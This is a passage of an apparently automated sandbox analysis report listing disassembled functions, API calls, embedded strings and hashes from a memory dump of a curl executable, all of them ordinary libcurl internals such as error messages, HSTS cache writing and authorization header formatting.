No space left on the file system that will contain the directory %s., xrefs: 00862A8D, 00862A9A
%s resides on a read-only file system., xrefs: 00862A86

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno
String ID: %s resides on a read-only file system.$0Lu@Ru@/Mu$Cannot create directory %s because you exceeded your quota.$Error creating directory %s.$No space left on the file system that will contain the directory %s.$The directory name %s is too long.$You don't have permission to create %s.
API String ID: 2918714741-3601382194
Opcode ID: 5b01137789f9aeb694a1b378f1edc448c6592520943c61b56c05b6f489b8a94e
Instruction ID: cee29397500d633feb9dbb8c86b3618d9c10919f6698efe09072aa001f323af0
Opcode Fuzzy Hash: 5b01137789f9aeb694a1b378f1edc448c6592520943c61b56c05b6f489b8a94e
Instruction Fuzzy Hash: 36F0E562A28E37EB433945FF660C4B61A44F7C239735A87E7F60ADA724D4C4CC0DA212

Function 0086F352 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 203COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?), ref: 0086F58A

Strings

%ldL, xrefs: 0086F3FA
%s set to a %s, xrefs: 0086F523
(curl_off_t)%I64d, xrefs: 0086F4A7
blobpointer, xrefs: 0086F4F0, 0086F51E, 0086F570
curl_easy_setopt(hnd, %s, %s);, xrefs: 0086F575
objectpointer, xrefs: 0086F470
functionpointer, xrefs: 0086F444
curl_easy_setopt(hnd, %s, "%s");, xrefs: 0086F569

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: %ldL$%s set to a %s$(curl_off_t)%I64d$blobpointer$curl_easy_setopt(hnd, %s, "%s");$curl_easy_setopt(hnd, %s, %s);$functionpointer$objectpointer
API String ID: 1294909896-2831394677
Opcode ID: 96daa64bf266bcb41a6bf2f2c8cec01b40ab677092bf274ed576c4b96564eaf3
Instruction ID: 69723a11fb12bc395425dc3b6197a32eb0fd9737f9faf09dca944bff99473c62
Opcode Fuzzy Hash: 96daa64bf266bcb41a6bf2f2c8cec01b40ab677092bf274ed576c4b96564eaf3
Instruction Fuzzy Hash: 146100726083459BCB108E24A881AAF7BE1FF89354F1A443CFA9AD7343D631DC04C792

Function 00874D10 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00874D69
_strrchr.LIBCMT ref: 00874D7E
___from_strstr_to_strchr.LIBCMT ref: 00874D8E
_strrchr.LIBCMT ref: 00874DE2
___from_strstr_to_strchr.LIBCMT ref: 00874E13
___from_strstr_to_strchr.LIBCMT ref: 00874E1F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00869BEA,?,00000208,?,?,?,?,?,0086A827,?,?,00000000), ref: 00874E73
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00869BEA,?,00000208,?,?,?,?,?,0086A827,?,?,00000000), ref: 00874E8E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00869BEA,?,00000208,?,?), ref: 00874EE0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr$_strrchrfree$malloc
String ID:
API String ID: 3226260525-0
Opcode ID: fbf73ca160373a494c77ef667a7c15425a25ad12d755bd872b476f8796f93985
Instruction ID: 26793496e9830f60179ee2b6c3087f48b9d68f0c5fc2df499104800910b31af0
Opcode Fuzzy Hash: fbf73ca160373a494c77ef667a7c15425a25ad12d755bd872b476f8796f93985
Instruction Fuzzy Hash: 915127329083569FDB318F6888546BE7FE5FF16360F28907AD489DB28AEB70DC058751

Function 00894EF7 Relevance: 13.6, APIs: 9, Instructions: 121COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,HTTP,?,?), ref: 00894F12
_mbschr.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,0000005C,?,?,00000000,HTTP,?,?), ref: 00894F25
_mbschr.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,0000002F), ref: 00894F34
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00894F9C
_mbsnbcpy.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,?), ref: 00894FAC
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00894FC0
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00894FC9
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00895000
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00895013

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_mbschr_strdup$_mbsnbcpymalloc
String ID:
API String ID: 103568399-0
Opcode ID: fe3da8a9aa85674f4b05a3bc68641b0b26a3c8223e3f53ce947856b9efe9a38e
Instruction ID: 5e9e00b697f172ecccc767f6faf1cfc88fffc64a115f0e6daa10b57e9a51bb3b
Opcode Fuzzy Hash: fe3da8a9aa85674f4b05a3bc68641b0b26a3c8223e3f53ce947856b9efe9a38e
Instruction Fuzzy Hash: 6331D532A05A06DFDB156F68EC58AAE7BF5FF89310B288169E405DB352DF70C9018B90

Function 008A04E4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 008A0503
_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?), ref: 008A05B7
_close.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 008A05C6
_write.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?), ref: 008A0673
_close.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 008A06EE

Strings

Can't open %s for writing, xrefs: 008A0565
Can't get the size of %s, xrefs: 008A05CE

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _close$___from_strstr_to_strchr_fstat64_write
String ID: Can't get the size of %s$Can't open %s for writing
API String ID: 2085843339-3544860555
Opcode ID: 857114524204a956077fa78f490ae91c5b9244ea786fbde860a8741f5d066fb5
Instruction ID: 8ea6e30546940f7233e530ab090336e31ea30e15183822485d55b1c410795114
Opcode Fuzzy Hash: 857114524204a956077fa78f490ae91c5b9244ea786fbde860a8741f5d066fb5
Instruction Fuzzy Hash: 96618231E002088BEF18DFA8C895AAD77B1FF99314F284179EC09EB745EA709C418F51

Function 008B1E40 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 008B1E77
___except_validate_context_record.LIBVCRUNTIME ref: 008B1E7F
_ValidateLocalCookies.LIBCMT ref: 008B1F08
__IsNonwritableInCurrentImage.LIBCMT ref: 008B1F33
_ValidateLocalCookies.LIBCMT ref: 008B1F88

Strings

csm, xrefs: 008B1FB3
csm, xrefs: 008B1F1D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: ffe5344152b18b320c596f294f7c02f87a9ed725466f8209cc7d8052012d4613
Instruction ID: e6f2e6a315438755bdb68eedc34631fafcd058858ac35a06ab1cc530cc91c0c3
Opcode Fuzzy Hash: ffe5344152b18b320c596f294f7c02f87a9ed725466f8209cc7d8052012d4613
Instruction Fuzzy Hash: 4351AF34A002089FCF24DF69C858AEEBBA1FF44314F548169E815DF3A2CB31E952CB91

Function 00886510 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

# Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk., xrefs: 008865B9
%s.%s.tmp, xrefs: 00886583

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: # Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk.$%s.%s.tmp
API String ID: 0-2507297550
Opcode ID: fe8e35ab6811a0c9f99cc32147817c9bdc3f6361df5587562841432e9c94506b
Instruction ID: 64f57891f76a9c08cda05de48b4cce8e737cfc17440de9bec997b1b0bfbcfe6d
Opcode Fuzzy Hash: fe8e35ab6811a0c9f99cc32147817c9bdc3f6361df5587562841432e9c94506b
Instruction Fuzzy Hash: 3F418F72E006199BDF11EF94D851AAEB7B5FF58760F24411AE801FB345FB70AD118BA0

Function 0088136B Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008813E6
___from_strstr_to_strchr.LIBCMT ref: 0088142F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0088149A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 008814DD

Strings

%.*s, xrefs: 0088143E
Proxy-, xrefs: 008814B0, 008814B8
%sAuthorization: Digest %s, xrefs: 008814B9

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$___from_strstr_to_strchr
String ID: %.*s$%sAuthorization: Digest %s$Proxy-
API String ID: 622630536-541442569
Opcode ID: 19a152d5a1e4891185e9412ba4c9a180a8f642bf826cb900900ef7f11fbd3756
Instruction ID: d1769addd25ab95d13a6a11b2cdf884786ddb41519a3876886dc66462aa0f487
Opcode Fuzzy Hash: 19a152d5a1e4891185e9412ba4c9a180a8f642bf826cb900900ef7f11fbd3756
Instruction Fuzzy Hash: A0417C71E0421AAFDF04DFA8D844AAEBBF9FF48310F14406AE905E7352DB719D018BA5

Function 0086500A Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 128stringCOMMON

Download Yara Rule

APIs

strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,008B8C2C), ref: 0086505C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00865070
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,008B8C2C), ref: 00865097
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000,?,008B8C2C), ref: 008650A2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 0086512B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 0086513C

Strings

pkcs11:, xrefs: 00865041

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdup$mallocstrcspnstrncpystrpbrk
String ID: pkcs11:
API String ID: 1722728043-2446828420
Opcode ID: 40553cbd1b40514cda1c05805a73453f3f64032b342958a998375eb9143cd8b5
Instruction ID: 00e7a7fcdcf038aef72bde2c3417c9a0327170953a51da1932e873f37bf9c17c
Opcode Fuzzy Hash: 40553cbd1b40514cda1c05805a73453f3f64032b342958a998375eb9143cd8b5
Instruction Fuzzy Hash: BB412470204A859FDB324F28D8A07AA7FE9FF47344F294099D4C5CB382D6B58D42C762

Function 0089F42A Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 124networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 0089F47D
htons.WS2_32(?), ref: 0089F491
send.WS2_32(?,?,00000003,00000000), ref: 0089F51A
WSAGetLastError.WS2_32(?,00000001), ref: 0089F524
send.WS2_32(?,?,00000002,00000000), ref: 0089F55A
WSAGetLastError.WS2_32(?,00000001), ref: 0089F564

Strings

Sending data failed (%d), xrefs: 0089F52B, 0089F56B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLasthtonssend
String ID: Sending data failed (%d)
API String ID: 2027122571-2319402659
Opcode ID: f9d8bb83393b2ed1fe0ca3170e68d3fb27f47db107546ab6371bb3637c349cb1
Instruction ID: a6d5ddb1faac682dee7c3492e0ac5a5178776f295949e078881fd97f7851a09a
Opcode Fuzzy Hash: f9d8bb83393b2ed1fe0ca3170e68d3fb27f47db107546ab6371bb3637c349cb1
Instruction Fuzzy Hash: 2D41CD70244154DFDB16AF28C8C5EA977F5FF25710F280AB9EAC5CB296D7309801CB65

Function 008677E3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113stringfileCOMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 0086781F
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B7A20), ref: 00867833
strtok.API-MS-WIN-CRT-STRING-L1-1-0(?,008B8E74), ref: 0086786E
strtok.API-MS-WIN-CRT-STRING-L1-1-0(00000000,008B8E74), ref: 008678A2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008678B7
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008678CA

Strings

p, xrefs: 008678E0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: strtok$__acrt_iob_funcfclosefopenfree
String ID: p
API String ID: 896044852-2181537457
Opcode ID: 6496dafd733f8cbd018795516c82724cc9c4bff8218625f255f599ec6207bff0
Instruction ID: 4fa84f714208bdfe558d23943ede2c5ef2f58b6fc5f91b334ce99203b0411aa1
Opcode Fuzzy Hash: 6496dafd733f8cbd018795516c82724cc9c4bff8218625f255f599ec6207bff0
Instruction Fuzzy Hash: 6431BF7060C7429FD315CB388498A6A7BE5FB9A318F26492DF196C3381EB74DC05C755

Function 0089B26F Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0089B2B9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 0089B2E3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?), ref: 0089B33A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,?), ref: 0089B372

Part of subcall function 00872813: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00872848

Strings

LIST, xrefs: 0089B2FC
NLST, xrefs: 0089B2F7, 0089B31A
%s%s%s, xrefs: 0089B31B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strrchrmalloc
String ID: %s%s%s$LIST$NLST
API String ID: 685622329-959297966
Opcode ID: 1f7184bb441d9b76d557400cf912dd15265d6f80c7068a74197cfe6071c5030f
Instruction ID: 19042e896bda24caa101784c4a5bd896355458e66c7fba5bedad18a71b3db053
Opcode Fuzzy Hash: 1f7184bb441d9b76d557400cf912dd15265d6f80c7068a74197cfe6071c5030f
Instruction Fuzzy Hash: 7731D572700615ABEF04ABA8AD81BAE77E9FF44754F18807EE905D7341D7709D008791

Function 00888B9F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,0088EBB8,?), ref: 00888BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,0088EBB8,?,?), ref: 00888C96

Part of subcall function 008888E1: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00888C01,?,?,00000000), ref: 00888928
Part of subcall function 008888E1: InitializeCriticalSectionEx.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000000,00000001,00888C01,?,?,00000000), ref: 00888936

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,0088EBB8,?,?,?,?), ref: 00888C19
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,0088EBB8,?,?,?,?), ref: 00888C2E
_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00888A20,00000010,00000000,00000000,?,?,?,?,?,?,?,?,?,0088EBB8), ref: 00888C63

Strings

0Lu@Ru@/Mu, xrefs: 00888C84, 00888C96

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$CriticalInitializeSection_beginthreadex_errnocallocmalloc
String ID: 0Lu@Ru@/Mu
API String ID: 1055258384-1923536700
Opcode ID: ccf925bb506d42c4338a607da07970d5526062b2adb40798326bb839c9c868c4
Instruction ID: d47bed66ce16c043923032928a1c2b3eadf61b455cc1e8106bf683c327f349ef
Opcode Fuzzy Hash: ccf925bb506d42c4338a607da07970d5526062b2adb40798326bb839c9c868c4
Instruction Fuzzy Hash: 8D31B071A01A15DFDB18AF68EC44A5E7BF5FF49310B10416EE806D3391DB70A9008B95

Function 0086D05C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0086D097
_strrchr.LIBCMT ref: 0086D0AF
_strrchr.LIBCMT ref: 0086D0C1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0086D118

Strings

://, xrefs: 0086D06A
%s%s, xrefs: 0086D0ED
%s/%s, xrefs: 0086D0F4, 0086D0FD

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strrchr$free
String ID: %s%s$%s/%s$://
API String ID: 3904173637-3147304931
Opcode ID: 27250ddeb69e73daf9f0c295d7c1c797c1901eb7a4ee03b270631a4bab5976e3
Instruction ID: 018c58e6fdf60f8a76f74b1821c87fcc1524bb8709ff8b39572e7dc6344fdae9
Opcode Fuzzy Hash: 27250ddeb69e73daf9f0c295d7c1c797c1901eb7a4ee03b270631a4bab5976e3
Instruction Fuzzy Hash: AB213A33F04715ABDF2466B85C55A6EB6E4FB45750F160079ED04EB382EE61CD028292

Function 0087E49E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 72networkCOMMON

Download Yara Rule

APIs

getpeername.WS2_32(?,?,?), ref: 0087E4E6
WSAGetLastError.WS2_32 ref: 0087E4F0

Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A0C3
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0CB
Part of subcall function 0087A0B8: __sys_nerr.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0DD
Part of subcall function 0087A0B8: __sys_errlist.API-MS-WIN-CRT-RUNTIME-L1-1-0(000000FF), ref: 0087A0EC
Part of subcall function 0087A0B8: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 0087A0F6
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A142
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A15C
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A173
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A180
Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A188
Part of subcall function 0087A0B8: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0087A193

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087E535
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087E53D

Strings

getpeername() failed with errno %d: %s, xrefs: 0087E509
ssrem inet_ntop() failed with errno %d: %s, xrefs: 0087E557
0Lu@Ru@/Mu, xrefs: 0087E535, 0087E53D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$ErrorLast$_strrchr$__sys_errlist__sys_nerrgetpeernamestrncpy
String ID: 0Lu@Ru@/Mu$getpeername() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 1744225859-235361406
Opcode ID: 9a4617d3b9779246ff013df5e282b3fa8dcc66bd6c7601728389b636397066fe
Instruction ID: 6d83af7467debbe0bd3366e94d9d228f0f79fdd34cff5e8b1797397ef916c61f
Opcode Fuzzy Hash: 9a4617d3b9779246ff013df5e282b3fa8dcc66bd6c7601728389b636397066fe
Instruction Fuzzy Hash: 9E218E72900518AFDB14AB64DC55FEE77BCFB49314F0086AAF909D3241EA709E488FE1

Function 008A0D2B Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 222COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00890B5D,?,?,00000001), ref: 008A0E63
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,?,?,00890B5D,?,?,00000001), ref: 008A0ECE
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,?,?,?,00890B5D,?,?,00000001), ref: 008A0F09
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,?,?,00890B5D,?,?,00000001), ref: 008A0F86
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,?,?,00890B5D,?,?,00000001), ref: 008A0FC1

Strings

Proxy-, xrefs: 008A0ED3, 008A0EE4, 008A0F8B, 008A0F9C
